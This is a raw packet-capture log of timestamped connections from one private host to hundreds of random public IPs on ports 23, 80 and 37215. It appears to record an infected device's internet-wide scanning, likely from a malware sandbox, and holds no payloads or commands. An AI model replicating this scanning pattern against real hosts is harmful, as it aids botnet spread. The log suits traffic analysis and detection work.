Oct 17, 2024 02:19:42.594747066 CEST	59342	23	192.168.2.14	199.250.119.220
Oct 17, 2024 02:19:42.597465038 CEST	23	59430	38.76.53.229	192.168.2.14
Oct 17, 2024 02:19:42.603918076 CEST	59430	23	192.168.2.14	38.76.53.229
Oct 17, 2024 02:19:42.605460882 CEST	50640	80	192.168.2.14	89.205.249.27
Oct 17, 2024 02:19:42.608356953 CEST	55348	80	192.168.2.14	196.201.9.128
Oct 17, 2024 02:19:42.610341072 CEST	80	50640	89.205.249.27	192.168.2.14
Oct 17, 2024 02:19:42.610435009 CEST	50640	80	192.168.2.14	89.205.249.27
Oct 17, 2024 02:19:42.612112045 CEST	38624	80	192.168.2.14	133.147.117.27
Oct 17, 2024 02:19:42.613853931 CEST	80	55348	196.201.9.128	192.168.2.14
Oct 17, 2024 02:19:42.613910913 CEST	55348	80	192.168.2.14	196.201.9.128
Oct 17, 2024 02:19:42.614327908 CEST	51666	23	192.168.2.14	71.184.19.7
Oct 17, 2024 02:19:42.614500999 CEST	60526	37215	192.168.2.14	156.229.244.150
Oct 17, 2024 02:19:42.616420984 CEST	51492	80	192.168.2.14	68.253.207.101
Oct 17, 2024 02:19:42.618693113 CEST	52128	37215	192.168.2.14	41.58.143.232
Oct 17, 2024 02:19:42.619498968 CEST	52910	23	192.168.2.14	176.227.215.58
Oct 17, 2024 02:19:42.621654034 CEST	47816	80	192.168.2.14	189.3.53.250
Oct 17, 2024 02:19:42.624514103 CEST	40830	37215	192.168.2.14	41.174.5.246
Oct 17, 2024 02:19:42.624908924 CEST	23	52910	176.227.215.58	192.168.2.14
Oct 17, 2024 02:19:42.625001907 CEST	52910	23	192.168.2.14	176.227.215.58
Oct 17, 2024 02:19:42.625467062 CEST	40264	23	192.168.2.14	154.163.182.208
Oct 17, 2024 02:19:42.626017094 CEST	34068	80	192.168.2.14	160.83.128.230
Oct 17, 2024 02:19:42.629096031 CEST	54330	37215	192.168.2.14	156.222.139.12
Oct 17, 2024 02:19:42.631185055 CEST	35504	23	192.168.2.14	158.203.105.171
Oct 17, 2024 02:19:42.631614923 CEST	55494	80	192.168.2.14	173.134.199.164
Oct 17, 2024 02:19:42.634567022 CEST	37215	54330	156.222.139.12	192.168.2.14
Oct 17, 2024 02:19:42.634634972 CEST	54330	37215	192.168.2.14	156.222.139.12
Oct 17, 2024 02:19:42.634744883 CEST	50172	37215	192.168.2.14	197.61.234.163
Oct 17, 2024 02:19:42.636992931 CEST	41624	80	192.168.2.14	126.195.147.30
Oct 17, 2024 02:19:42.637399912 CEST	40610	23	192.168.2.14	52.192.221.160
Oct 17, 2024 02:19:42.639478922 CEST	51026	37215	192.168.2.14	156.148.175.0
Oct 17, 2024 02:19:42.642668009 CEST	56832	80	192.168.2.14	174.64.204.55
Oct 17, 2024 02:19:42.643249035 CEST	51088	23	192.168.2.14	121.141.64.83
Oct 17, 2024 02:19:42.644334078 CEST	37215	51026	156.148.175.0	192.168.2.14
Oct 17, 2024 02:19:42.644397020 CEST	51026	37215	192.168.2.14	156.148.175.0
Oct 17, 2024 02:19:42.645229101 CEST	46536	37215	192.168.2.14	41.89.192.253
Oct 17, 2024 02:19:42.646810055 CEST	33144	80	192.168.2.14	132.200.106.230
Oct 17, 2024 02:19:42.648420095 CEST	37392	23	192.168.2.14	86.227.214.233
Oct 17, 2024 02:19:42.649065971 CEST	43480	37215	192.168.2.14	197.67.55.160
Oct 17, 2024 02:19:42.651938915 CEST	39512	80	192.168.2.14	60.255.163.138
Oct 17, 2024 02:19:42.653305054 CEST	23	37392	86.227.214.233	192.168.2.14
Oct 17, 2024 02:19:42.653379917 CEST	37392	23	192.168.2.14	86.227.214.233
Oct 17, 2024 02:19:42.654597044 CEST	42982	23	192.168.2.14	2.82.6.37
Oct 17, 2024 02:19:42.654894114 CEST	50266	37215	192.168.2.14	156.211.41.245
Oct 17, 2024 02:19:42.657015085 CEST	35322	80	192.168.2.14	36.129.78.117
Oct 17, 2024 02:19:42.659202099 CEST	53486	37215	192.168.2.14	156.250.16.160
Oct 17, 2024 02:19:42.659981012 CEST	48322	23	192.168.2.14	107.219.202.64
Oct 17, 2024 02:19:42.661833048 CEST	38576	80	192.168.2.14	117.50.228.62
Oct 17, 2024 02:19:42.664150000 CEST	43564	37215	192.168.2.14	156.106.39.28
Oct 17, 2024 02:19:42.664937019 CEST	23	48322	107.219.202.64	192.168.2.14
Oct 17, 2024 02:19:42.665003061 CEST	48322	23	192.168.2.14	107.219.202.64
Oct 17, 2024 02:19:42.665266037 CEST	48496	23	192.168.2.14	85.66.115.91
Oct 17, 2024 02:19:42.666202068 CEST	47024	80	192.168.2.14	153.71.173.164
Oct 17, 2024 02:19:42.668540955 CEST	51174	37215	192.168.2.14	156.81.108.1
Oct 17, 2024 02:19:42.670696020 CEST	53516	23	192.168.2.14	42.32.78.113
Oct 17, 2024 02:19:42.671716928 CEST	53072	80	192.168.2.14	201.90.41.212
Oct 17, 2024 02:19:42.673388004 CEST	37215	51174	156.81.108.1	192.168.2.14
Oct 17, 2024 02:19:42.673472881 CEST	51174	37215	192.168.2.14	156.81.108.1
Oct 17, 2024 02:19:42.673835993 CEST	40096	37215	192.168.2.14	41.212.199.44
Oct 17, 2024 02:19:42.675543070 CEST	59144	80	192.168.2.14	212.160.200.226
Oct 17, 2024 02:19:42.676284075 CEST	51422	23	192.168.2.14	195.121.56.104
Oct 17, 2024 02:19:42.678364992 CEST	36972	37215	192.168.2.14	156.160.243.72
Oct 17, 2024 02:19:42.680645943 CEST	58536	80	192.168.2.14	65.149.139.140
Oct 17, 2024 02:19:42.681313992 CEST	55912	23	192.168.2.14	154.109.86.141
Oct 17, 2024 02:19:42.683527946 CEST	37294	37215	192.168.2.14	41.97.224.74
Oct 17, 2024 02:19:42.685548067 CEST	80	58536	65.149.139.140	192.168.2.14
Oct 17, 2024 02:19:42.685643911 CEST	58536	80	192.168.2.14	65.149.139.140
Oct 17, 2024 02:19:42.685956955 CEST	55774	80	192.168.2.14	222.80.213.83
Oct 17, 2024 02:19:42.687505007 CEST	38562	23	192.168.2.14	161.96.168.145
Oct 17, 2024 02:19:42.687777996 CEST	50850	37215	192.168.2.14	41.105.211.223
Oct 17, 2024 02:19:42.690819025 CEST	52486	80	192.168.2.14	80.47.111.194
Oct 17, 2024 02:19:42.692326069 CEST	23	38562	161.96.168.145	192.168.2.14
Oct 17, 2024 02:19:42.692373037 CEST	38562	23	192.168.2.14	161.96.168.145
Oct 17, 2024 02:19:42.693007946 CEST	42476	23	192.168.2.14	87.39.230.68
Oct 17, 2024 02:19:42.693139076 CEST	50814	37215	192.168.2.14	156.91.159.119
Oct 17, 2024 02:19:42.695277929 CEST	50436	80	192.168.2.14	216.232.8.186
Oct 17, 2024 02:19:42.697407961 CEST	39096	37215	192.168.2.14	156.229.117.78
Oct 17, 2024 02:19:42.698147058 CEST	55206	23	192.168.2.14	54.80.63.130
Oct 17, 2024 02:19:42.700184107 CEST	47256	80	192.168.2.14	8.195.166.159
Oct 17, 2024 02:19:42.702487946 CEST	43186	37215	192.168.2.14	41.82.9.158
Oct 17, 2024 02:19:42.703360081 CEST	35570	23	192.168.2.14	36.192.118.129
Oct 17, 2024 02:19:42.704015017 CEST	49936	80	192.168.2.14	148.90.123.249
Oct 17, 2024 02:19:42.705063105 CEST	80	47256	8.195.166.159	192.168.2.14
Oct 17, 2024 02:19:42.705110073 CEST	47256	80	192.168.2.14	8.195.166.159
Oct 17, 2024 02:19:42.706213951 CEST	36246	37215	192.168.2.14	197.3.88.249
Oct 17, 2024 02:19:42.708165884 CEST	40600	23	192.168.2.14	213.97.177.248
Oct 17, 2024 02:19:42.708841085 CEST	43122	80	192.168.2.14	65.182.119.153
Oct 17, 2024 02:19:42.710824013 CEST	41874	37215	192.168.2.14	156.66.126.47
Oct 17, 2024 02:19:42.712527990 CEST	59458	80	192.168.2.14	209.10.130.87
Oct 17, 2024 02:19:42.713053942 CEST	23	40600	213.97.177.248	192.168.2.14
Oct 17, 2024 02:19:42.713109016 CEST	40600	23	192.168.2.14	213.97.177.248
Oct 17, 2024 02:19:42.713118076 CEST	34600	23	192.168.2.14	112.106.31.219
Oct 17, 2024 02:19:42.715404987 CEST	37564	37215	192.168.2.14	41.25.183.201
Oct 17, 2024 02:19:42.718651056 CEST	49924	80	192.168.2.14	31.217.15.0
Oct 17, 2024 02:19:42.719238997 CEST	60748	23	192.168.2.14	174.250.203.155
Oct 17, 2024 02:19:42.720907927 CEST	59176	37215	192.168.2.14	41.240.174.103
Oct 17, 2024 02:19:42.722549915 CEST	57056	80	192.168.2.14	2.83.98.137
Oct 17, 2024 02:19:42.724351883 CEST	54682	23	192.168.2.14	102.30.251.168
Oct 17, 2024 02:19:42.724626064 CEST	52270	37215	192.168.2.14	41.14.98.49
Oct 17, 2024 02:19:42.725864887 CEST	37215	59176	41.240.174.103	192.168.2.14
Oct 17, 2024 02:19:42.725924015 CEST	59176	37215	192.168.2.14	41.240.174.103
Oct 17, 2024 02:19:42.727636099 CEST	51788	80	192.168.2.14	94.8.190.200
Oct 17, 2024 02:19:42.730439901 CEST	35400	23	192.168.2.14	1.206.171.36
Oct 17, 2024 02:19:42.730937958 CEST	56916	37215	192.168.2.14	156.158.186.253
Oct 17, 2024 02:19:42.732547045 CEST	80	51788	94.8.190.200	192.168.2.14
Oct 17, 2024 02:19:42.732598066 CEST	51788	80	192.168.2.14	94.8.190.200
Oct 17, 2024 02:19:42.733375072 CEST	39884	80	192.168.2.14	37.85.205.78
Oct 17, 2024 02:19:42.735496044 CEST	42004	37215	192.168.2.14	41.74.170.248
Oct 17, 2024 02:19:42.736365080 CEST	54868	23	192.168.2.14	60.160.234.66
Oct 17, 2024 02:19:42.739183903 CEST	49226	80	192.168.2.14	62.200.140.21
Oct 17, 2024 02:19:42.741367102 CEST	54646	37215	192.168.2.14	156.35.219.54
Oct 17, 2024 02:19:42.742219925 CEST	39564	23	192.168.2.14	73.204.124.139
Oct 17, 2024 02:19:42.742865086 CEST	49968	80	192.168.2.14	45.36.46.7
Oct 17, 2024 02:19:42.744775057 CEST	55764	37215	192.168.2.14	41.229.139.194
Oct 17, 2024 02:19:42.746200085 CEST	37215	54646	156.35.219.54	192.168.2.14
Oct 17, 2024 02:19:42.746257067 CEST	54646	37215	192.168.2.14	156.35.219.54
Oct 17, 2024 02:19:42.746676922 CEST	46290	23	192.168.2.14	4.55.141.3
Oct 17, 2024 02:19:42.747412920 CEST	57006	80	192.168.2.14	107.222.113.58
Oct 17, 2024 02:19:42.749403954 CEST	47512	37215	192.168.2.14	197.80.146.14
Oct 17, 2024 02:19:42.750895977 CEST	41124	80	192.168.2.14	122.65.119.137
Oct 17, 2024 02:19:42.751449108 CEST	59638	23	192.168.2.14	189.199.84.131
Oct 17, 2024 02:19:42.752229929 CEST	80	57006	107.222.113.58	192.168.2.14
Oct 17, 2024 02:19:42.752528906 CEST	57006	80	192.168.2.14	107.222.113.58
Oct 17, 2024 02:19:42.753285885 CEST	41264	37215	192.168.2.14	156.66.118.45
Oct 17, 2024 02:19:42.756017923 CEST	36248	80	192.168.2.14	212.238.39.182
Oct 17, 2024 02:19:42.756525993 CEST	50882	23	192.168.2.14	96.134.123.90
Oct 17, 2024 02:19:42.758097887 CEST	40552	37215	192.168.2.14	156.214.27.37
Oct 17, 2024 02:19:42.759691000 CEST	42770	80	192.168.2.14	36.46.127.250
Oct 17, 2024 02:19:42.761152983 CEST	59734	23	192.168.2.14	50.153.78.201
Oct 17, 2024 02:19:42.761600018 CEST	39538	37215	192.168.2.14	156.8.0.159
Oct 17, 2024 02:19:42.764029026 CEST	45332	80	192.168.2.14	39.136.67.222
Oct 17, 2024 02:19:42.764570951 CEST	80	42770	36.46.127.250	192.168.2.14
Oct 17, 2024 02:19:42.764621019 CEST	42770	80	192.168.2.14	36.46.127.250
Oct 17, 2024 02:19:42.765702009 CEST	44744	23	192.168.2.14	121.239.69.250
Oct 17, 2024 02:19:42.765844107 CEST	46624	37215	192.168.2.14	197.48.103.235
Oct 17, 2024 02:19:42.767544031 CEST	39670	80	192.168.2.14	119.43.17.98
Oct 17, 2024 02:19:42.769877911 CEST	56878	37215	192.168.2.14	197.74.5.190
Oct 17, 2024 02:19:42.770592928 CEST	35918	23	192.168.2.14	31.29.72.152
Oct 17, 2024 02:19:42.772320986 CEST	80	39670	119.43.17.98	192.168.2.14
Oct 17, 2024 02:19:42.772367954 CEST	39670	80	192.168.2.14	119.43.17.98
Oct 17, 2024 02:19:42.772418976 CEST	44344	80	192.168.2.14	101.45.45.64
Oct 17, 2024 02:19:42.774806023 CEST	46136	37215	192.168.2.14	197.103.162.180
Oct 17, 2024 02:19:42.775888920 CEST	56208	23	192.168.2.14	31.53.188.159
Oct 17, 2024 02:19:42.776782990 CEST	59304	80	192.168.2.14	60.20.43.43
Oct 17, 2024 02:19:42.778954029 CEST	59196	37215	192.168.2.14	156.59.108.206
Oct 17, 2024 02:19:42.780919075 CEST	60204	23	192.168.2.14	202.239.249.252
Oct 17, 2024 02:19:42.781332016 CEST	48764	80	192.168.2.14	160.121.87.135
Oct 17, 2024 02:19:42.783682108 CEST	60632	37215	192.168.2.14	156.20.235.74
Oct 17, 2024 02:19:42.785315990 CEST	53154	80	192.168.2.14	20.41.13.130
Oct 17, 2024 02:19:42.785828114 CEST	49382	23	192.168.2.14	95.82.213.133
Oct 17, 2024 02:19:42.785907984 CEST	23	60204	202.239.249.252	192.168.2.14
Oct 17, 2024 02:19:42.785960913 CEST	60204	23	192.168.2.14	202.239.249.252
Oct 17, 2024 02:19:42.787647963 CEST	47832	37215	192.168.2.14	156.187.4.61
Oct 17, 2024 02:19:42.791265965 CEST	47764	80	192.168.2.14	145.162.52.218
Oct 17, 2024 02:19:42.792047024 CEST	40928	23	192.168.2.14	198.113.151.180
Oct 17, 2024 02:19:42.792467117 CEST	37215	47832	156.187.4.61	192.168.2.14
Oct 17, 2024 02:19:42.792562962 CEST	47832	37215	192.168.2.14	156.187.4.61
Oct 17, 2024 02:19:42.794420004 CEST	59538	37215	192.168.2.14	197.7.156.242
Oct 17, 2024 02:19:42.796679020 CEST	33874	80	192.168.2.14	52.74.204.117
Oct 17, 2024 02:19:42.798269987 CEST	49358	23	192.168.2.14	59.58.222.38
Oct 17, 2024 02:19:42.798626900 CEST	36680	37215	192.168.2.14	41.48.209.80
Oct 17, 2024 02:19:42.801723957 CEST	40230	80	192.168.2.14	57.222.88.137
Oct 17, 2024 02:19:42.803409100 CEST	50068	23	192.168.2.14	163.194.208.219
Oct 17, 2024 02:19:42.803544044 CEST	58280	37215	192.168.2.14	41.158.7.58
Oct 17, 2024 02:19:42.805186987 CEST	43052	80	192.168.2.14	66.24.173.21
Oct 17, 2024 02:19:42.806798935 CEST	80	40230	57.222.88.137	192.168.2.14
Oct 17, 2024 02:19:42.806961060 CEST	40230	80	192.168.2.14	57.222.88.137
Oct 17, 2024 02:19:42.807413101 CEST	41126	37215	192.168.2.14	197.137.107.247
Oct 17, 2024 02:19:42.808365107 CEST	45236	23	192.168.2.14	201.238.38.177
Oct 17, 2024 02:19:42.810499907 CEST	52874	80	192.168.2.14	207.45.81.68
Oct 17, 2024 02:19:42.812397003 CEST	37215	41126	197.137.107.247	192.168.2.14
Oct 17, 2024 02:19:42.812439919 CEST	41126	37215	192.168.2.14	197.137.107.247
Oct 17, 2024 02:19:42.812757969 CEST	45798	37215	192.168.2.14	41.9.224.55
Oct 17, 2024 02:19:42.813606977 CEST	56232	23	192.168.2.14	137.181.24.77
Oct 17, 2024 02:19:42.814239025 CEST	36090	80	192.168.2.14	157.218.99.33
Oct 17, 2024 02:19:42.816203117 CEST	34746	37215	192.168.2.14	197.42.154.97
Oct 17, 2024 02:19:42.819586992 CEST	40834	23	192.168.2.14	150.5.96.44
Oct 17, 2024 02:19:42.820056915 CEST	39774	80	192.168.2.14	216.193.119.98
Oct 17, 2024 02:19:42.822423935 CEST	42416	37215	192.168.2.14	41.216.249.32
Oct 17, 2024 02:19:42.824476957 CEST	42076	80	192.168.2.14	114.192.180.8
Oct 17, 2024 02:19:42.824520111 CEST	23	40834	150.5.96.44	192.168.2.14
Oct 17, 2024 02:19:42.824564934 CEST	40834	23	192.168.2.14	150.5.96.44
Oct 17, 2024 02:19:42.824809074 CEST	42718	23	192.168.2.14	151.198.199.203
Oct 17, 2024 02:19:42.826309919 CEST	52030	37215	192.168.2.14	156.225.19.26
Oct 17, 2024 02:19:42.829490900 CEST	33948	80	192.168.2.14	35.45.188.242
Oct 17, 2024 02:19:42.830213070 CEST	52700	23	192.168.2.14	62.127.110.136
Oct 17, 2024 02:19:42.831557989 CEST	50444	37215	192.168.2.14	156.211.38.1
Oct 17, 2024 02:19:42.833323002 CEST	43712	80	192.168.2.14	166.226.230.169
Oct 17, 2024 02:19:42.834099054 CEST	49450	23	192.168.2.14	196.227.178.226
Oct 17, 2024 02:19:42.834434032 CEST	80	33948	35.45.188.242	192.168.2.14
Oct 17, 2024 02:19:42.834506989 CEST	33948	80	192.168.2.14	35.45.188.242
Oct 17, 2024 02:19:42.836086035 CEST	37960	37215	192.168.2.14	41.49.253.170
Oct 17, 2024 02:19:42.838902950 CEST	59176	80	192.168.2.14	135.254.222.236
Oct 17, 2024 02:19:42.839617968 CEST	40138	23	192.168.2.14	189.3.119.148
Oct 17, 2024 02:19:42.841033936 CEST	38382	37215	192.168.2.14	156.53.140.185
Oct 17, 2024 02:19:42.842778921 CEST	55200	80	192.168.2.14	27.237.227.136
Oct 17, 2024 02:19:42.843328953 CEST	55560	23	192.168.2.14	169.140.99.129
Oct 17, 2024 02:19:42.844494104 CEST	23	40138	189.3.119.148	192.168.2.14
Oct 17, 2024 02:19:42.844568014 CEST	40138	23	192.168.2.14	189.3.119.148
Oct 17, 2024 02:19:42.844738007 CEST	48418	37215	192.168.2.14	41.222.25.224
Oct 17, 2024 02:19:42.847313881 CEST	50450	80	192.168.2.14	222.193.195.36
Oct 17, 2024 02:19:42.847940922 CEST	52386	23	192.168.2.14	199.60.15.223
Oct 17, 2024 02:19:42.849543095 CEST	36480	37215	192.168.2.14	41.108.209.179
Oct 17, 2024 02:19:42.851152897 CEST	41490	80	192.168.2.14	85.40.106.105
Oct 17, 2024 02:19:42.851815939 CEST	41380	23	192.168.2.14	203.209.9.212
Oct 17, 2024 02:19:42.852956057 CEST	23	52386	199.60.15.223	192.168.2.14
Oct 17, 2024 02:19:42.853039026 CEST	52386	23	192.168.2.14	199.60.15.223
Oct 17, 2024 02:19:42.853775978 CEST	60602	37215	192.168.2.14	197.202.12.112
Oct 17, 2024 02:19:42.856930971 CEST	57162	80	192.168.2.14	74.31.107.159
Oct 17, 2024 02:19:42.857660055 CEST	55344	23	192.168.2.14	117.94.21.113
Oct 17, 2024 02:19:42.859474897 CEST	34770	37215	192.168.2.14	41.70.217.138
Oct 17, 2024 02:19:42.861280918 CEST	45578	80	192.168.2.14	210.38.120.199
Oct 17, 2024 02:19:42.861808062 CEST	46154	23	192.168.2.14	77.245.231.73
Oct 17, 2024 02:19:42.863717079 CEST	40782	37215	192.168.2.14	156.50.127.146
Oct 17, 2024 02:19:42.864475012 CEST	37215	34770	41.70.217.138	192.168.2.14
Oct 17, 2024 02:19:42.864531040 CEST	34770	37215	192.168.2.14	41.70.217.138
Oct 17, 2024 02:19:42.866688967 CEST	55548	80	192.168.2.14	61.192.170.125
Oct 17, 2024 02:19:42.867393017 CEST	34498	23	192.168.2.14	190.136.101.163
Oct 17, 2024 02:19:42.868931055 CEST	42526	37215	192.168.2.14	41.226.199.103
Oct 17, 2024 02:19:42.870481014 CEST	58574	80	192.168.2.14	220.154.93.134
Oct 17, 2024 02:19:42.872214079 CEST	23	34498	190.136.101.163	192.168.2.14
Oct 17, 2024 02:19:42.872261047 CEST	34498	23	192.168.2.14	190.136.101.163
Oct 17, 2024 02:19:42.872282982 CEST	48752	23	192.168.2.14	118.214.55.29
Oct 17, 2024 02:19:42.872912884 CEST	40390	37215	192.168.2.14	197.34.112.132
Oct 17, 2024 02:19:42.876188040 CEST	43300	80	192.168.2.14	138.39.198.132
Oct 17, 2024 02:19:42.876890898 CEST	59686	23	192.168.2.14	136.227.189.144
Oct 17, 2024 02:19:42.878129959 CEST	39806	37215	192.168.2.14	41.181.48.226
Oct 17, 2024 02:19:42.879818916 CEST	56104	80	192.168.2.14	66.119.106.113
Oct 17, 2024 02:19:42.881418943 CEST	32980	23	192.168.2.14	168.27.60.56
Oct 17, 2024 02:19:42.881802082 CEST	36264	37215	192.168.2.14	197.253.36.239
Oct 17, 2024 02:19:42.884579897 CEST	50332	80	192.168.2.14	126.59.55.112
Oct 17, 2024 02:19:42.884769917 CEST	80	56104	66.119.106.113	192.168.2.14
Oct 17, 2024 02:19:42.884819984 CEST	56104	80	192.168.2.14	66.119.106.113
Oct 17, 2024 02:19:42.885427952 CEST	53794	23	192.168.2.14	53.60.171.146
Oct 17, 2024 02:19:42.886903048 CEST	35368	37215	192.168.2.14	197.42.65.244
Oct 17, 2024 02:19:42.888706923 CEST	48658	80	192.168.2.14	34.50.168.128
Oct 17, 2024 02:19:42.890252113 CEST	53290	23	192.168.2.14	150.51.149.135
Oct 17, 2024 02:19:42.890621901 CEST	49068	37215	192.168.2.14	156.221.158.76
Oct 17, 2024 02:19:42.892956018 CEST	49648	80	192.168.2.14	140.212.103.44
Oct 17, 2024 02:19:42.893584013 CEST	80	48658	34.50.168.128	192.168.2.14
Oct 17, 2024 02:19:42.893644094 CEST	48658	80	192.168.2.14	34.50.168.128
Oct 17, 2024 02:19:42.895129919 CEST	43538	23	192.168.2.14	91.43.20.114
Oct 17, 2024 02:19:42.895484924 CEST	48128	37215	192.168.2.14	156.220.37.13
Oct 17, 2024 02:19:42.897408009 CEST	52918	80	192.168.2.14	31.184.127.205
Oct 17, 2024 02:19:42.899904966 CEST	47740	37215	192.168.2.14	41.233.212.51
Oct 17, 2024 02:19:42.900562048 CEST	41714	23	192.168.2.14	94.248.155.238
Oct 17, 2024 02:19:42.903650999 CEST	55340	37215	192.168.2.14	197.61.247.104
Oct 17, 2024 02:19:42.904129982 CEST	32896	23	192.168.2.14	183.87.54.57
Oct 17, 2024 02:19:42.904997110 CEST	37215	47740	41.233.212.51	192.168.2.14
Oct 17, 2024 02:19:42.905045986 CEST	47740	37215	192.168.2.14	41.233.212.51
Oct 17, 2024 02:19:42.906275034 CEST	43442	37215	192.168.2.14	41.66.252.94
Oct 17, 2024 02:19:42.907763004 CEST	59080	23	192.168.2.14	78.102.147.43
Oct 17, 2024 02:19:42.910255909 CEST	43712	23	192.168.2.14	32.36.128.7
Oct 17, 2024 02:19:42.912607908 CEST	23	59080	78.102.147.43	192.168.2.14
Oct 17, 2024 02:19:42.912710905 CEST	59080	23	192.168.2.14	78.102.147.43
Oct 17, 2024 02:19:42.912818909 CEST	46026	23	192.168.2.14	106.91.61.118
Oct 17, 2024 02:19:42.915311098 CEST	54114	23	192.168.2.14	150.71.145.174
Oct 17, 2024 02:19:42.917256117 CEST	34672	80	192.168.2.14	92.24.74.7
Oct 17, 2024 02:19:42.918641090 CEST	39350	23	192.168.2.14	77.97.240.156
Oct 17, 2024 02:19:42.921005011 CEST	37346	80	192.168.2.14	74.67.187.229
Oct 17, 2024 02:19:42.922159910 CEST	48434	23	192.168.2.14	63.218.62.176
Oct 17, 2024 02:19:42.925146103 CEST	50026	80	192.168.2.14	161.190.100.158
Oct 17, 2024 02:19:42.925746918 CEST	54018	37215	192.168.2.14	156.187.253.20
Oct 17, 2024 02:19:42.926050901 CEST	80	37346	74.67.187.229	192.168.2.14
Oct 17, 2024 02:19:42.926098108 CEST	37346	80	192.168.2.14	74.67.187.229
Oct 17, 2024 02:19:42.926496983 CEST	60532	23	192.168.2.14	4.232.213.222
Oct 17, 2024 02:19:42.928967953 CEST	52128	37215	192.168.2.14	156.107.220.177
Oct 17, 2024 02:19:42.929250956 CEST	34820	80	192.168.2.14	81.233.179.204
Oct 17, 2024 02:19:42.931845903 CEST	48856	80	192.168.2.14	167.108.226.109
Oct 17, 2024 02:19:42.931982994 CEST	52864	37215	192.168.2.14	156.82.16.200
Oct 17, 2024 02:19:42.933800936 CEST	37215	52128	156.107.220.177	192.168.2.14
Oct 17, 2024 02:19:42.933876038 CEST	52128	37215	192.168.2.14	156.107.220.177
Oct 17, 2024 02:19:42.934663057 CEST	48266	37215	192.168.2.14	156.21.216.57
Oct 17, 2024 02:19:42.934940100 CEST	46378	80	192.168.2.14	107.1.240.122
Oct 17, 2024 02:19:42.937644005 CEST	49170	80	192.168.2.14	113.131.128.239
Oct 17, 2024 02:19:42.937824965 CEST	33508	37215	192.168.2.14	197.91.13.215
Oct 17, 2024 02:19:42.940409899 CEST	43276	37215	192.168.2.14	197.251.236.170
Oct 17, 2024 02:19:42.940666914 CEST	54414	80	192.168.2.14	109.3.101.144
Oct 17, 2024 02:19:42.943275928 CEST	37902	80	192.168.2.14	183.246.247.40
Oct 17, 2024 02:19:42.943402052 CEST	54466	37215	192.168.2.14	41.52.158.130
Oct 17, 2024 02:19:42.945394039 CEST	37215	43276	197.251.236.170	192.168.2.14
Oct 17, 2024 02:19:42.945494890 CEST	43276	37215	192.168.2.14	197.251.236.170
Oct 17, 2024 02:19:42.946079016 CEST	35074	37215	192.168.2.14	156.196.169.177
Oct 17, 2024 02:19:42.946295977 CEST	48984	80	192.168.2.14	51.120.245.105
Oct 17, 2024 02:19:42.949048042 CEST	42784	23	192.168.2.14	205.122.133.126
Oct 17, 2024 02:19:42.949167967 CEST	52542	37215	192.168.2.14	197.167.97.109
Oct 17, 2024 02:19:42.949665070 CEST	46400	80	192.168.2.14	199.58.61.188
Oct 17, 2024 02:19:42.952734947 CEST	37916	37215	192.168.2.14	41.30.174.117
Oct 17, 2024 02:19:42.953465939 CEST	38996	23	192.168.2.14	191.85.225.200
Oct 17, 2024 02:19:42.953954935 CEST	23	42784	205.122.133.126	192.168.2.14
Oct 17, 2024 02:19:42.954068899 CEST	42784	23	192.168.2.14	205.122.133.126
Oct 17, 2024 02:19:42.954221964 CEST	38882	80	192.168.2.14	211.32.135.155
Oct 17, 2024 02:19:42.956034899 CEST	20632	23	192.168.2.14	196.65.207.228
Oct 17, 2024 02:19:42.956036091 CEST	20632	23	192.168.2.14	17.67.254.116
Oct 17, 2024 02:19:42.956036091 CEST	20632	23	192.168.2.14	34.215.34.189
Oct 17, 2024 02:19:42.956052065 CEST	20632	23	192.168.2.14	67.156.109.10
Oct 17, 2024 02:19:42.956053972 CEST	20632	23	192.168.2.14	42.92.164.7
Oct 17, 2024 02:19:42.956053972 CEST	20632	23	192.168.2.14	1.171.112.22
Oct 17, 2024 02:19:42.956054926 CEST	20632	23	192.168.2.14	36.48.123.74
Oct 17, 2024 02:19:42.956052065 CEST	20632	23	192.168.2.14	169.126.73.100
Oct 17, 2024 02:19:42.956062078 CEST	20632	23	192.168.2.14	183.18.34.144
Oct 17, 2024 02:19:42.956064939 CEST	20632	23	192.168.2.14	202.113.246.234
Oct 17, 2024 02:19:42.956073999 CEST	20632	23	192.168.2.14	37.190.141.174
Oct 17, 2024 02:19:42.956073999 CEST	20632	23	192.168.2.14	128.110.244.169
Oct 17, 2024 02:19:42.956082106 CEST	20632	23	192.168.2.14	123.73.239.17
Oct 17, 2024 02:19:42.956082106 CEST	20632	23	192.168.2.14	110.142.194.43
Oct 17, 2024 02:19:42.956089020 CEST	20632	23	192.168.2.14	141.106.225.117
Oct 17, 2024 02:19:42.956091881 CEST	20632	23	192.168.2.14	129.106.114.57
Oct 17, 2024 02:19:42.956091881 CEST	20632	23	192.168.2.14	223.164.122.252
Oct 17, 2024 02:19:42.956096888 CEST	20632	23	192.168.2.14	58.126.78.171
Oct 17, 2024 02:19:42.956098080 CEST	20632	23	192.168.2.14	171.12.4.143
Oct 17, 2024 02:19:42.956103086 CEST	20632	23	192.168.2.14	196.6.144.205
Oct 17, 2024 02:19:42.956103086 CEST	20632	23	192.168.2.14	147.187.252.236
Oct 17, 2024 02:19:42.956109047 CEST	20632	23	192.168.2.14	90.217.164.126
Oct 17, 2024 02:19:42.956146955 CEST	20632	23	192.168.2.14	148.233.124.37
Oct 17, 2024 02:19:42.956150055 CEST	20632	23	192.168.2.14	201.31.56.206
Oct 17, 2024 02:19:42.956152916 CEST	20632	23	192.168.2.14	173.72.128.161
Oct 17, 2024 02:19:42.956155062 CEST	20632	23	192.168.2.14	211.43.160.240
Oct 17, 2024 02:19:42.956156015 CEST	20632	23	192.168.2.14	2.36.128.251
Oct 17, 2024 02:19:42.956156015 CEST	20632	23	192.168.2.14	80.193.97.143
Oct 17, 2024 02:19:42.956161976 CEST	20632	23	192.168.2.14	94.202.26.106
Oct 17, 2024 02:19:42.956162930 CEST	20632	23	192.168.2.14	160.225.1.186
Oct 17, 2024 02:19:42.956170082 CEST	20632	23	192.168.2.14	62.115.221.254
Oct 17, 2024 02:19:42.956173897 CEST	20632	23	192.168.2.14	130.196.169.117
Oct 17, 2024 02:19:42.956176996 CEST	20632	23	192.168.2.14	213.221.75.15
Oct 17, 2024 02:19:42.956191063 CEST	20632	23	192.168.2.14	9.100.250.16
Oct 17, 2024 02:19:42.956192970 CEST	20632	23	192.168.2.14	36.93.149.245
Oct 17, 2024 02:19:42.956197023 CEST	20632	23	192.168.2.14	128.63.23.139
Oct 17, 2024 02:19:42.956197023 CEST	20632	23	192.168.2.14	67.197.201.2
Oct 17, 2024 02:19:42.956202984 CEST	20632	23	192.168.2.14	103.158.108.48
Oct 17, 2024 02:19:42.956212044 CEST	20632	23	192.168.2.14	114.249.183.5
Oct 17, 2024 02:19:42.956214905 CEST	20632	23	192.168.2.14	24.102.85.175
